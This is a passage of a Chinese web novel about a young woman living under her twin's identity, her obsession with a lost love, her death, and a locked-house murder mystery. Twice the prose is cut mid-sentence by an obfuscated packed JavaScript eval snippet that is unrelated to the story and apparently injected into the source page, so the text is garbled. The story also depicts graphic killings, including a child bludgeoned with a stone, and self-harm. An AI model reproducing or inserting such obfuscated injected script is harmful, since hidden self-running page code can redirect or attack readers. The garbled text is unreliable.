醒过来的时候,有个老妈子在院子里转悠。她坐在床上,老妈子看见她,“呀”了一声说你醒了,你可真能睡,睡了三天了,你咋回事呀,一声不吭跑了,书也没去上,现在又浑身伤…… 唠叨得烦人。张姣问她谁啊。那个老妈子一脸惊悚,我啊,不记得了?住隔壁啊…… 哦,隔壁老妈子。 张姣说,被车撞了,什么都不记得了。 老妈子狐疑地打量她,咋滴连口音都变了? 张姣真想大声笑出来,真想站在院子里仰天长啸。看,随便一个人都听出来了,偏偏她的爸爸没听出来,哈哈! 老妈子以为她受刺激了,安慰她说没事,问她伤得严重不严重。 张姣说,饿了。 老妈子去给她煮粥。房间里终于安静下来。她又躺下,等粥好了,喝了一碗,力气渐渐恢复。老妈子也回去了。她开始翻箱倒柜找东西。一堆破烂玩意儿,通通丢地上,最后在大箱子的角落找到一个铁盒子,装着一张存折。 张姣长这么大没见过存折,差点被她丢了,还是存折上面的字让她住了手。 很好,十万块钱。 够干一些事了。 她拿着存折,去银行取钱。柜员让她输密码。她说不记得了。重设密码,将所有钱取了出来。她又去派出所办户口簿。户口簿上孤零零的就张情一个人,派出所什么都没说,给办了,一个星期后拿到手。到手的第一时间,她去办护照。 又一个月拿到手,然后开始申请去俄罗斯。 没通过,因为她什么都没有,不符合规定。连旅游签都办不下来。 她找了旅行社,旅行社也不行,说她还是未成年。未成年真是个好词,让张姣闲了下来,这一闲,学被退了,她找了个网吧。登游戏,她的游戏名片变成普通名片了,游戏榜单第一名是一个没见过的名字。第二名也是没见过的名字。 她和许沉从游戏榜上掉了下去,因为她没钱充游戏了,而许沉,再也没上过游戏,从那个暑假开始。 张姣无聊地翻开欢乐的游戏名片,不知道是他害怕被报复还是怎么,也没上过游戏,Q\Q都注销了。 有一天,一个男生拍了拍她的肩膀,说你回来了啊,还以为你不回来了。 张姣看了他一眼,没出声。 男生说,你不记得我了啊?当初你坐在前台当网管,大年初一晚上啊,我在论坛上看见咱们游戏的榜一和你长得一模一样,叫你去看来着啊。想起来没? 张姣问哪一年。 男生说,前年啊,2007年吧。 这一年,是2010年。 张姣笑了,原来张情在三年前就单方面认识她了。所以呢?一切都是预谋?还是巧合?正巧有人和她长得一模一样,正巧长得一样还成绩很好,正巧发帖一秒就被找到,正巧同意帮她替考,正巧去她家代替她? 张姣成绩不好,但她记得一段话:一个巧合是巧合,两个巧合是线索,三个巧合是证据。 张情……简直证据确凿。 男生说,听说你去找人家了,问了没,是不是你亲姐妹啊? 张姣说,亲得不能再亲了。 男生哈哈大笑,“你真逗,真要那么亲,你还坐这儿干啥,不直接当富婆去?” “对啊,当富婆去了。”所以我来当这个小破烂了。 男生没理解到,还在笑,问她人怎么样,网上都说有钱人拽得很。 张姣:“你看我拽吗?” 男生哈哈大笑:“你又不是有钱人。” 张姣懒得说废话,真是无聊到令人反胃。她掉过头去,继续看屏幕。 男生问她不当网管了?听这儿老板经常提起你,说可惜。 张姣:可惜什么? 男生:你在的时候生意好啊!天天晚班又不请假,工资还低。 张姣:工资多少? 男生:我咋知道,你去问呗。 张姣去问了,一千一个月。张姣走了。老板忙叫住她,说给她两千。张姣还是走了,走到门口,停下来,对老板说要三千。老板忍痛答应了。 张姣当网管了,坐在张情曾经坐的那个位置,干张情曾经干的事,给人充 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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门拉开时,等在外面的男生看直了眼,他傻了半天,吐出一句你真漂亮,和平常不一样,美得、美得…… 说不出来。 张姣白了他一眼,背包丢到他手里,说走了,我饿了。 他们去吃早餐,去逛街,张姣买裙子,买高跟鞋,买到一双非常漂亮的高跟鞋,同时也很贵,两万三。她自己出的钱。 中午,他们去西餐厅,张姣选的,价格昂贵到男生目瞪口呆不敢点菜。张姣轻车熟路点了两份,说我过生,请你吃。 男生本想逞能说他可以请她吃。账单递过来时,他羞红了脸。他不像张姣有工作,他还是学生,用着家长的钱,兜里揣的钱是这些年攒下来的所有钱,但不够这一餐。这一顿饭,一万八。 男生悄声问:这样真的可以吗? 张姣说,我18岁的生日,有什么不可以,一辈子就一次。 她大手一挥,将银行卡递给服务员。 出了餐厅,男生问张姣,你很有钱吗? 张姣说,没钱啦,用完啦,所以接下来,该你请我了。 那就好了。男生带她去逛商场,和她夹娃娃,喝奶茶,看电影。这些张姣曾经看不上的朴素行为,现在玩得很开心,只是开心的时候会有一瞬间的恍惚,会想起许沉。 人生只有一次的18岁,少了许沉。如果许沉在就好了。 许沉啊……那串被她背烂的号码在脑海里滚过。张姣将它从脑海深处提起来,碾压一遍,又埋回去,重重复复,连这场电影演了什么都不知道。 男生说,你哭了。 张姣揩掉眼泪,说感动。 男生嘟囔,这是喜剧。 张姣假装没听见。 他们从电影院出来,卡着店家关门的时间点进了一家看起来很贵的干净餐馆吃中餐。 老板见他们是外地人,从篮子里拿出新鲜的菜,清洗了炒给他们吃。 男生期待地问她好吃吗,这家店是他在网上查了很久了,很多人说好吃。 张姣说还行。 男生问那你想吃什么呀。问完一拍脑袋,大喊完了,我本来想带你去买榴莲的,你说了好久,我就想今天带你去吃,忘记了!还有蛋糕,也忘记去拿了! 老板从柜台后面绕出来,问你们生日呀,蛋糕店在哪儿,我骑车过去给你拿。他摸出时间看,应该还没下班,我骑车快点。 男生一边道谢,一边把地址给他。 老板笑着说,没事儿,过生嘛,都快十点了,哪能生日不吃蛋糕呢,就几步路,你们慢慢吃,我给拿回来。 张姣和男生刚吃完,老板就拿回来了,还免了他们的单,说祝他们生日快乐。 男生摸着头,不好意思说是她生日。 老板问,你女朋友呀。 男生顿时红了脸,匆忙摇头,不是不是,朋友朋友。 老板哈哈大笑,说要买榴莲赶紧呀,去交汇路98号,那边有个水果店,价格便宜还新鲜,你们赶紧点,应该还没关门。 男生匆匆招了一辆出租车,直杀交汇路98号。张姣靠着车窗,窗外的路灯像一条河流从视野里快速后退,和那天一模一样。她下意识转头去看旁边,旁边空无一人,只有出租车昏暗的空间。 “诶,车祸!”男生在前面说。 张姣看了眼,司机也看了眼,“啧啧”两声。出租车继续往前开。 “诶,那也有……”男生的声音有些唏嘘。他觉得一天里看见两场车祸,真的是很倒霉,还是在这么重要的日子里,他其实不想说给后面的女生听,但嘴巴控制不住,比脑子快一步说出来了。 出租车驶过去。张姣的视线从车祸现场滑过。 忽然,她坐直了身体。她怀疑自己看错了,扭头再看时,已经什么都看不见了。出租车开得很快,一个急刹停在水果店门口。男生掏钱,张姣快速说,你进去买,我在外面等你。然后拔腿就往回跑。 男生付完钱下来,已经看不见她的人了。 张姣一路飞奔回那个路口,车的碎片飞了满地。一辆黑色的轿车,车头被撞扁开裂了,滋滋啦啦冒着烟。玻璃碎成了花,已经看不清里面的人。 她绕到车门前,从裂开的车门看见那张熟悉的脸。 爸爸的生意伙伴,那个在酒店门口答应让她给爸爸打电话却没把电话给她的人,那个在酒店门口说她是冒充的人。 那种温和的笑,张姣永远记得。她的爸爸就喜欢这样笑,笑容下面,是一张自私冷漠的脸。这个人也一样,他拿走了手机,切断了她唯一联系爸爸的机会,斩断了她回家的机会。 他叫,平成礼。 张姣永远记得这个名字,记得这张脸,记得他走得毫不留情的背影。 现在,他在车里睁开了眼,瞳孔虚幻的望着她,缓慢而艰难地抬起手,朝她说了一句话。他的嗓音嘶哑得发不出声,但张姣仍旧听清了他说的什么话。 他说,救、救、救她…… 他的手指,颤颤巍巍指向后座,因为反方向,指不过去,在空中才辗转一点点就掉了下去。 张姣撑着车门,往后座看。那里面,坐着一个小女孩,额头全是血,睁着眼睛,望着她。 眼神是那样的纯粹而天真,好像还不知道发生了什么事,只是望着她,看着她。 然后,在这一瞬间,失去了一切。像张姣一样,失去了一切。 张姣笑得直不起腰,笑得眼泪横流。 拍拍手,走了。 很远的地方,有人东张西望朝她跑来。那道瘦长的影子,让她恍惚看见了一个人,当年,那个人也是这样,在黑夜里,到处找乱跑的她,一脸焦急。他说阿姣,快出来,别躲了。他的声音那么急,很害怕。张姣蹲在花坛后面,看见他急得眉毛全部皱在了一起,难看死了。张姣不喜欢这样的许沉,她喜欢许沉高兴的样子。 本来是许沉气着了她,她跑出来躲他。最后还是不忍心,起身走出花坛。许沉一下子就看见了她,冲过来将她拽得死死的,声音严厉而沙哑,你以后再生气也不能这样乱跑,跑丢了怎么办,被人拐跑了怎么办,我上哪儿去找你? 他还喘着气,汗水从额头上滑下来,滚到睫毛上,被他眨眼带进眼睛,刺激疼了也不闭眼,只是将她盯住,生怕她再跑。 当时,张姣替他抹掉汗水,笑嘻嘻说,除了你没人能把我拐走,哎呀,真臭。 瞎说!他揉着她的头发,拽着她回餐厅,说你香,香死了也没见你招几只蝴蝶。 张姣咯咯笑,指着他的脸,说,这不就是一只大的花蝴蝶。 然后她就被打了,正中脑门。 那些压制在脑海深处的数字快速而迅猛地浮了上来,比之前的每一次都浮得更清晰更深刻,浮出脑海,飘在眼前,飘在她的指尖。她再也控制不住,一种疯狂的思念,疯狂的想法从脑海蔓延全身,控制了她。她慌慌张张掏出手机,熟练地摁下那些数字,一个接一个重重摁下去。 拨出。 双手紧紧握着手机,站在碎片成渣的路中央,死死盯着拨号界面。 是不是关机,是不是关机,脑海里不断跳闪这句话,快把她跳疯了……嘟……嘟……清脆的通话声炸断了她的浑噩,她不可置信地瞪大了眼,嗡鸣四起的耳朵里听见电话被接起来的滴声。一道熟悉的声音,横跨三年,从听筒里传了过来。 他说,你好。 真的是他,真的是他,许沉!许沉接她电话了。他接了!他开机了!他终于回来了! 张姣的呼吸停止了,满脑子叫嚣的都是许沉的名字。许沉许沉许沉许沉许沉……还叫嚣了很多东西,让她不知道该先说什么。对面的人“喂”了一声,问她是谁? 张姣立刻张开嘴,因为太激动,没发出声,还被冷空气呛了一下。 许沉有点不耐烦了,又“喂”了一声,问她找谁。 “许……” “许沉,快来,吹蜡烛啦。” 另一道声音压过了她的声音,从听筒那端传来。 张姣突然忘记自己要说什么了,如果她没听错,这个声音……是……是……张情…… 她说:“我要许愿了哦。” 她的声音是那么的欢乐,周围的声音也很快乐,张姣听见爸爸的笑声,是那种发自内心的笑声,她只在中考成绩出来时听过,还听见妈妈温柔的说话声,说快许愿吧,再不许愿蜡烛就要灭啦。是那种从骨子里透出来的温柔,张姣从来没听妈妈这样说过话。 今天,曾经听不见的,没听过的,渴望的,祈求的……在这一刻,全听见了。 还有许沉带着笑意的话,他说:“我开始拍了。” 张情笑着说:“那我开始许愿啦。许沉,你听好,我的愿望就是——永远和我在一起!” 她那么大声那么大胆,当着所有人的面,说了出来。 听筒里静了一瞬,然后全场哗然,紧接着是接连不断的掌声,随之而来的道贺声。爸爸的生意伙伴们大笑:“张董,看来不久就要吃喜糖了啊!” 她的爸爸笑呵呵地说:“主角还没回话呢。” 好像所有人都望向了许沉,等着他回答。 张姣抱着手机大喊,说不可以不可以不可以!许沉不可以!我才是张姣,我才是!她是假的,她是假的!许沉! 在她尖叫的嘈杂声里,许沉应了那一端的人,他说:好。 不! 张姣发了疯地把手机砸出去,往车上砸,搬起所有能用的东西砸,往车上砸,砸烂了车头,砸烂了玻璃,砸烂了车窗。砸得车里的男人头破血流,彻底断了气。 她红着眼,狠狠瞪向后座的女孩,抓起手里的石头,重重砸下去。血喷溅出来,她大笑,大哭,大喊,大叫。又哭又笑,又笑又哭。 是你们,是你们断了我回家的路,是你们不让我回家,是你们,如果不是你们,我会跟爸爸去新加坡,今天站在那里许愿的人是我,许沉答应的人是我,是我! …… 张情在一片祝贺声中走向许沉,许沉合上相机,站到阳台边。那里离宴会远,阳台外种着一颗颗圆溜溜的青衫树,明明很乖巧的形状,却在这个夜里显得极其落寞。 许沉看着那颗树,不知道为什么会有这样的错觉。 张情站在他身边,温声细语地问他,谁给你打电话呀? 许沉说不知道。他拿出手机,翻出通话记录,是国内的号码,归属地是黄关。他看着这通长达一分钟的电话,皱起了眉。显然在犹豫要不要回拨过去。 张情凑过去看了一眼,脸色顿变,下一秒,她拉起许沉的手,露出对着镜子练了千百遍的灿烂笑容,说不认识就算啦,走,我们去吃蛋糕。 许沉低低“嗯”了一声,还是没回拨,将手机揣回兜里。 …… 18岁之后,张姣点了那颗痣,彻底变成了张情。 18岁之后,张情点了那颗痣,彻底变成了张姣。 49. 第 49 章 浴室的门被撞得嘭嘭震响,张姣从虚幻的往事里渐渐回神。她的头靠在洗手台边缘,看着那门不断震颤,巨大的黑影一下接一下覆盖玻璃,梁威在撞门,很用力地撞。 张姣说,梁威,够了。 这个在她18岁之后的人生里和她纠缠最久的男人,他们彼此之间只有性,没有爱。一个不爱的人,却在这种时候,还想着要救她。而她爱惨了的人,一声不吭地抛下她跑了,到死都没说上一句话。 张姣扯了扯嘴角,她说,梁威,我累了。 18岁到32岁,她累了,很累很累很累。当她再次想起许沉,那股疲倦只在瞬息之间就将她淹没,她活不下去了,也不想活了。她是张姣的时候,没有许沉,她是活不下去的。她是张情的时候,张情…… 最后的日子,她不想当张情了,她想念许沉,思念许沉。今年,许沉多少岁了?四十多吧,她记不清了。从18岁之后,在18岁的第二天,从一个陌生男人的床爬起来,站在浴室的镜子前,那是她最后一次想起许沉。从那之后,再也没想起过。 许沉是一粒她身为张姣遗留下的最后一件珍宝,被小心翼翼压在最深最暗的角落,偷偷藏着。 谁都不能将他挖掘,谁都不能。 压得太久,连她自己都忘记了。她以为自己忘记了,可当死亡来临的这一刻,她还是想了起来,比以前想的每一次都更清晰的想起来。 她想起许沉在沙滩上走,她追在后面跑,她大喊许沉,背我。许沉头也没回,穿着沙滩裤,沿着海岸线一直走一直走。她生气了,将手里的东西一扔,对着他的背冲上去猛扑猛跳,往他背上跳。许沉猝不及防,两人一起摔在沙子里。 她紧紧箍住他的脖子。许沉用力掰开她的手将她推开。他的力气很大,她的力气很小。很轻易的就被推开了。 “你疯了!”他怒视她,捂着脖子咳嗽。 因为她用很大的力,几乎是往死里勒他。 张姣瞪着眼睛,问他,为什么不理我。 许沉抿着嘴,死死地抿住。 张姣说,不就是昨晚扒拉了一下你的裤子嘛,我又不是故意的。那睡着了突然摸到一个东西,下意识就掐了一下,然后……我又没看过男孩子,好奇嘛,就想看看嘛…… 她说得可怜又无辜,好像一切都是他的错。 许沉气得青筋都爆出来了,对着满脸无辜的她,哽得不知道该说什么。他磨着牙,指着她,说,张姣,你有种。 然后转身走了。这次走得又快又猛,就像要把她丢下。张姣吓坏了,急急站起来。巨大的浪潮拍来,将还没有站稳的她拍了下去,跌在水里。湍急的潮水让她站不起来,水里像有一张手,拽得她失去了平衡。她倒在水里,张牙舞爪地想抓住什么东西让自己爬起来,什么都抓不住,只有源源不断疯狂涌动的海水,一浪拍一浪,拍着她往海里卷。 许沉! 张姣大叫。 许沉头也没回。 张姣呛了一口水,冲许沉的后背喊,许沉你不救我我死给你看! 许沉还是没回头,但走得慢了。他想算了,毕竟张姣是个小孩子,计较起来没意思,反正看都看见了,摸也摸着了,但还是气啊!他想等她再叫一声,他就停下来等她。可再也没听见她的声音了。 他就是个贱人,明明是张姣干错了事,他还是没出息地回了头,回头看她。但看不见了,沙滩上没了她的影子。 许沉一下子就慌了,跑回去大喊她的名字。 然后,他看见沉沉浮浮的海浪里,有一只细细小小的手艰难地在水与空气里抓,拼了命地隔着水和空气朝他抓,抓死他。 张姣被海水冲走了,冲了很远很远。 许沉跳进海,将她拖了出来。 上岸的第一件事,张姣就喷了他一脸腥咸的海水,然后对他猛咳,咳了许沉一脸水。许沉分不清那是海水还是张姣的口水,闭着眼睛,鼻腔翕动,脸都气黑了,这个女人真的是……哪怕要死也要狠狠报复他一下。 许沉抹掉她脸上的海水,再抹掉自己脸上的海水。他说张姣,你是不是傻逼?没人教你遇到危险要喊救命吗?谁他妈教你喊“你不救我我死给你看”? 张姣被他喂了水,喉咙好多了。她说:“你不救我的意思不就是让你救我吗?你不救我,我不就死了吗?死了,不就给你看了吗?连起来不就是‘你不救我我死给你看吗’?” “……” 许沉被她的脑回路搞疯了,他盯着她那双纯粹而坚定的眼睛,反驳不出去。干脆直接拎起人扛在肩上,往回走。 “许沉,我不要这个姿势,你让我坐你脖子上嘛,我还没骑过呢。” “别得寸进尺。” “背也行呀,你背我嘛。” “背嘛背嘛,许沉,许沉,小叔,小叔,背背……” 许沉背着她,踩着海岸线,潮浪一簇一簇卷过他的脚,他们从东海岸线走到西海岸线,橙红的夕阳将他们连着海面染成红红的颜色,凄美又清冷。 “梁威……” 张姣哭了,泪水不断从眼眶掉出来,她想许沉,非常想非常想,想得要疯了。压抑几十年的情感像洪水像巨兽的口吞噬她,折磨她。她想见许沉,找许沉,叫他的名字,和他说话,她想……给他打电话,在死掉之前,再找一下他,尽管她已经不是张姣了,她想最后一次,再听听许沉的声音,这样,死也好了,死掉就好了。 死,没关系的。只要再听听许沉的声音。 梁威停了下来,站在门口。 张姣说:“行李箱,你帮我把行李箱的布全剥了,在最下面,最里面,有有一条裙子,你帮我、拿过来……还有……手机……” 极端的干痒让她失水,喉咙发干,她开始说话艰难。 门外的人没动。 “梁威……” 她带着哭腔,低低的哀求。那映在门上的黑影动了动,离开了。 等人的时间是最难熬的,可张姣早已经习惯了,她坐在地上,手指沾着地上的水,一遍一遍将那个记烂的电话号码写出来。写一行,一行,又一行,再一行。 写第十三遍时,梁威回来了,说:“你开门。” 张姣说:“我开一条缝,你别进来……” 梁威答应了。她拉开一条缝,将手伸出去,抓住了柔软的裙摆,那是她珍藏了几十年的裙子,从15岁到32年,一如既往的轻软。 忽然,门被用力推向她,梁威拽住她的手,想要挤进来。张姣疯了,发了疯一样地用整个身体抵在门上,尖声大叫:“你再推我死给你看!” 她把手往门锁的金属片上搓,很用力地搓,抠掉一层皮的手臂登时搓破了,流出一串血,滴滴答答掉在地上,染红了门口的白色吸水毯。 梁威停止推门,哑着声音问她:“张情,你到底想干嘛?” 张姣说:“我不是张情。你别管我干嘛,和你不相干。东西给我。” 她死死抓住裙子和手机。梁威叹了一口气,松开了手,她抽回手,立刻锁了门。 她小心翼翼把裙子放在干净的位置,撑着洗手台站起身,整个人产生了一种晕眩,让她站不稳,她把身体全部倚靠在洗手台上。低头捧水洗脸,一点一点洗,洗干净。再用手指梳顺乱糟糟的头发,擦掉手腕上的血。 镜子里的自己终于整洁了一些,但还是张情。还差一点,才能是张姣。她用指甲摁住出血口,沾了一点血,轻而缓地点在眉骨下方眼尾之上的位置。 一抹红色的痣。妖艳地站在眼皮上。 她望着镜子里的自己,笑了。对嘛,这样才是张姣啊。 套上白色的长裙,那是她15岁的裙子,很小了,她非常艰难地挤进去,胳肢窝卡住,脖子卡住,腰和屁股卡住,稍稍动一下就能爆线。她不敢动,靠在那里,满意地从镜子里打量自己。 张姣,越来越像了。张姣,对,就是这样。 她冲镜子露出一个灿烂的笑容,笑得四分五裂,她已经笑不出那种笑了,但没关系,张姣的笑都应该是那样的笑。她现在就是张姣。张姣拿起手机,摁下那串写了千万遍的号码。 还能打通吗,十几年前的号码了。许沉会换号码吗,还是关机?张姣不知道,她只知道,自己摁下拨号键的手指在发抖,在颤抖,差点把拨号键按成了删除键。 她牢牢稳住手机,双手互相用力捧住手机,一眼不眨地看着界面从输入号码跳转出去。电话拨出去了,拨出去了。她的身体开始发颤,不断地颤抖,紧张地颤抖,笑着颤抖,眼睛迸出惊喜的光,脸笑得嘭起来。 镜子里的她,在32岁这一年,连自己都没看见的,再一次笑得灿烂又明媚,充满希望。 这抹微弱的希望很快被狂风暴雨盖了下去,电话自动挂断了,提示手机不在服务区,无信号。打不出去电话。 张姣的笑僵在脸上,她忘了,这里是夏令营,早没了信号,她打不出任何电话。 她没法给许沉打电话,她打不出去,她找不到许沉。她找不到许沉。到死,她都找不到,找不到,找不到。 张姣疯了,失声尖叫,大叫,手机摔出去又捡起来,宝贝地握在手里,双腿无力地摔在地上,她匍匐在地上,大笑大叫,大喊大笑。 “张情!” 梁威慌忙拍门。 张姣哈哈大笑,一直笑,一直笑。任谁叫都不应,任谁喊都不应,就笑,一直笑。又哭又笑。 “余有为那边出事了。” 周志冲进来,让梁威快去看看。 梁威放心不下张情。周志说,她在浴室里,还算安全,只是受了刺激,先去看看余有为,他快不行了。 平月说,你们去吧,我在这儿守着。 梁威和周志跑去了余有为房间。 房间突然静下来,只有浴室里传出来的疯癫笑声。 平月拧开浴室的门把手,推门而入,那跌在地上的人笑声戛然而止。平月走过去,在她面前蹲下来,盯着她,像十几年前的夜晚,平静无波,好像不知道发生了什么事,安安静静地盯着她,望着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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哭得眼泪横流,哭得刚洗干净的脸又脏了,哭晕了眼皮上的那抹血,哭乱了刚梳顺的卷发。哭得像一个精神失常的疯子。 “求求你了……” “好呀。”平月答应了她。张姣抽噎着,跪在面前,祈祷似的往平月手里看去,神情认真而虔诚,等待她拨出那个号码。 平月没有立刻拨出去,而是问:“你猜许沉现在在哪里,猜对了,我帮你打。” 张姣怔住了,抬头看平月,她的眼眸是平静的,没有任何情绪,淡淡地看着她,在等她给出答案。张姣知道,平月这句话是说真的。可许沉在哪里,她怎么知道?许沉啊,他在俄罗斯?不是的,他答应了和张情在一起,所以他在新加坡?不是的,许沉在哪里,许沉在哪里,在哪里…… 张姣哭了,她不知道许沉在哪里,她不知道许沉怎么样,她不知道许沉和谁在一起,她不知道许沉有没有生病,有没有熬夜,有没有玩别的游戏,有没有回过国,头发留长了还是剪很短,现在还喜不喜欢穿白色的衣服,她不知道,她对许沉一无所知,全都不知道,完全不知道,一点也不知道。 张姣只知道抱着平月的手,牢牢抓住平月的手,哭着说求求你……求求你…… 求求你…… 她哭得眼泪干了,喉咙哑了,嘴巴出血了,眼睛红肿,人匍匐在地上,动不了了,浑身像干了水的柴,一点点干涸下去,一点点干扁下去,倒在地上,动不了了,再也动不了了。 祈求的声音渐渐弱了,呼吸也弱了。张姣睁着那双眼睛,盛进瞳孔的光影模糊,她好像看见了许沉,好像看见了张情,好像看见爸爸,看见了妈妈,还看见了18岁生日那天陪她的男生,看见了18岁生日晚上的两场车祸,看见平成礼血肉模糊地躺在她的手下,看见小女孩额头喷溅出来的血,看见酒吧五彩斑斓的灯,看见一个极度陌生的男人,看见她被男人扛进酒店,从此,张姣的人生一去不复返,她成了游走在男人之中的张情,顶着那张和张情一模一样的脸,用着张情的身份证。 “对、不、起……” 张姣哭着说完了人生中的最后一句话。不知道是对平成礼说的,还是对平月说的,或者对许沉说,或者对另外的某个人。 没人知道。 平月蹲在她身边,说:“真可惜呀。”她拨出那个号码,俯身在张姣身上,很难理解,“怎么就这么难猜呢,你不是最喜欢那个地方吗?” “海边别墅呀。” “真是……他在里面独居了十二年啊……” “有情人……终成眷死……唉……” 她把手机放在张姣手里,起身离开了浴室。 门关上的瞬间,电话接通了。 一个听筒,两端寂静。 平月站在门口,隔着玻璃门,能听见听筒另一边沉重而急促的呼吸声,是对方压抑的情绪。 都在等对方先开口。 岑寂太久,终究是那边的人忍不住,开了口。 他的声音很轻很急,怕吓到对面的人,克制而温缓地问:“阿姣……是你吗?” 他终于知道了,而这边的人,再也回答不了了。 50. 第 50 章 余有为死了,死得非常惨烈。房间里全是血,他咳出来的血,床单被染成深红,湿哒哒的像从水里提出来的。整个人趴在地上,肥胖的躯体犹如一座隆起的山丘,膨胀勃发,有种随时会炸开的错觉。 悦凌凌上完厕所回来,看吐了。 梁威掰开余有为的嘴,说是被自己咳出来的血呛死的。他的嘴里还含着一口血泡。随着梁威的动作,四面八方溢出来。梁威赶紧撤手,血泡登时像开了水龙头的水,流了一地。 “好、好恶心……怎么、怎么会这样……”悦凌凌吐完了,胃里还在反胃酸,捂着嘴,呕呕呕的干吐。 周志问梁威:“你刚才在哪?回房间之前很长一段时间,都没看见你。” 梁威说:“地下室。” 悦凌凌:“你去地下室干嘛?” 梁威:“找出口。” 后来,听见楼上的动静,他跑上来,是张情在他房间里出了事。紧接着,在所有人的注意力都放在张情身上时,余有为死了。余有为死了……梁威轰地推开周志,冲回自己房间。 平月站在窗边,使劲朝外面看。 外面狂风暴雨,不知道在看什么。梁威也管不着她在看什么,他在担心另一件事——当所有人的注意力都放在余有为死亡的事上去了,张情怎么样了?会不会出事? 他拍着门大喊:“张情!” “张情!你开门!开门!” 梁威说,我给你拿被子,没人看你,我帮你挡着,绝对没人看你!你先出来,其余事再说。 没人应。浴室里一点声音都没有。 所有人从余有为房间围了过来,连一直躲在自己房间的陈宇南也过来了。他也跟着梁威说,对,我们帮你把门关了,我们去走廊,你先出来。 浴室静得吓人。 “你不开门,我砸门了。”梁威抡起椅子往玻璃门上砸。 浴室的门只是比普通玻璃厚一点的磨砂玻璃,梁威力气大、锤击点稳,三两下就砸碎了。他用枕巾裹着手将门把手周围的碎玻璃扫干净,反手从里面打开了门。 张情死了,死状很惨。匍匐在地上,身上的白色裙子爆开了,那是一条不合她身材的裙子,明显小了很多。如今肩膀、腋下的线全爆开了,裹不住她的身体,漏出她抠得通红布满皮屑的干巴巴的皮肤,还有裸露在腿下的大肠,蜷成一团。 她握着手机,死了。手机屏幕一直亮,一直亮。有一个号码在不断地打电话来,打一遍又一遍。挂了又打,打了又挂。 梁威快速拿起手机,刚摁下接听键,电话挂断了。他握着手机,看屏幕跳转到锁屏界面,等待下一次来电。 没有下一次来电。他拿着手机等了好几分钟,都没有一个电话。 悦凌凌说:“为什么我们都打不通电话,就她打得通?不会她就是凶手,想假死骗我们吧?” 陈宇南一把将她摁在张情旁边,语气激烈:“你看,你看看,你摸,摸摸她,假死,看看她是不是假死!你看,看啊!摸啊!”他拽着她的手,往张情的脖颈摸,往张情的心脏摸,往张情的脉搏摸。 “假死?假死!假死能把大肠拉出来!假死?” 悦凌凌没见过这样的陈宇南,吓坏了,吓得一声不敢出,也不敢挣扎。 周志拦住陈宇南,说你冷静。 “冷静?你能冷静?死多少人了?全死了,就剩我们几个了,是不是马上我们也要死了?”陈宇南双眼失神,满脸惊恐。他看里里外外的几个人,十个人,就剩他们五个了。 他不想死,不想死。 他站起来,往门外冲。 周志叫他,叫不住,“完了。”他对平月说,“我去找他,你们跟着梁威,最好别落单。” 悦凌凌呐呐说了一句:“梁威安全吗……” 那体格,哪怕她和平月是两个人,被杀不是分分钟的事吗? 周志说:“那你跟我走?” 悦凌凌登时缩起了肩膀,摇摇头。她现在谁也不想跟,看谁都觉得危险。 周志懒得和她说,出去追陈宇南了。 悦凌凌看了梁威一眼,再看平月一眼,挪到平月身边。比起梁威,就算平月有危险,大家都是瘦小的女生,打起来,她有胜算。 悦凌凌悄声问平月:“你觉得凶手会是谁?是我们中间的,还是另有其人?” 平月说:“有别的人吧,刚才我们都在这里……”她顿了一下,“陈宇南不在,后来你也不在……”然后余有为就死了。她顿时警惕起来,和悦凌凌拉开半步距离。 悦凌凌慌忙解释:“我上厕所啊,就两三分钟,哪能杀余大哥啊,他那么壮,想杀也杀不动啊!” 平月狐疑地看了她两眼,没出声。 悦凌凌只好转移目标:“肯定是陈宇南,不然他跑这么快干嘛?就是他,心虚才跑的!” 梁威突然出了声,问平月:“你刚才在看什么?” 平月说:“看见有什么东西在闪,好像是光,手电筒还是什么,雨太大了,没看清。” 悦凌凌:“没看清那你怎么知道是手电筒?” 平月:“一个光晕呀。” 手电筒照出去的就是光圈,光晕。 悦凌凌惊讶:“外面有人啊?”她扑到窗边,问平月在哪儿看见的。梁威已经走到刚才平月趴在窗上的位置,他的视力很好,穿透雨幕看见漆黑的夜,雾蒙蒙的,树影婆娑,没光圈。倒是看见了一个摄像头,在运转的摄像头,藏在树叶之下,正对他们,寂静无声地拍摄他们。 梁威心脏骤停,紧接着快速搏动。他用他仅有的经验很快得出,凶手不是他们中的任何一个,凶手是将他们关进这里的人,他们每一个人都会死,死在这里。 等他们死完了,再放一把火,一切化为灰烬,无迹可查。 所有断断续续的线索全部连通了,梁威明白了。他快速说:“我们必须出去,立刻出去,下山,不能再等了。”多等一分钟,就多一个人死。 他不想死。应该没人想死。 悦凌凌还不明白,单纯的问:“为什么?” 梁威说:“对面有摄像头,正在看我们。” 悦凌凌眯着眼瞧,瞧见了,脸都吓白了,还在问:“为什么看我们?” 梁威:“掌握我们的踪迹,一个接一个杀。” 悦凌凌:“那、那、出口在哪里?” 梁威已经出房间了。悦凌凌看见平月跟在梁威身后,她立刻拔腿跑上去,紧紧追着前面的两个人。她一边跑,一边说:“怎么出去啊!门窗全锁了,砸也砸不烂!” 平月说:“通风口吧。” 梁威的脚步顿住,随即掉头往回跑,跑进房间,抬头找通风口,让平月和悦凌凌一起帮忙找。 这栋房子24小时恒温,循环风,肯定有通风口。实在找不到,他还有一个极端的出口——垃圾回收口和出餐口。那里面每天送进送出,肯定是空的,只要是空的就有机会通到别处。 走廊天花板、客厅、厨房、范明胜房间、余有为房间、钱晓文房间、赵淑萍房间、张情房间、梁威房间、平月房间、悦凌凌房间都没有通风口。 “梁威!在这里!”悦凌凌激动地大喊。 梁威从陈宇南房间冲出去,撞开周志开着一半的房间门。 悦凌凌站在周志房间中央,指着角落的天花板,说:“通风口在这儿!” 天花板很高,梁威一米八,踩着板凳都还差一些。书桌嵌死在墙上,挪不动。悦凌凌说:“我去搬我房间的书桌来。” 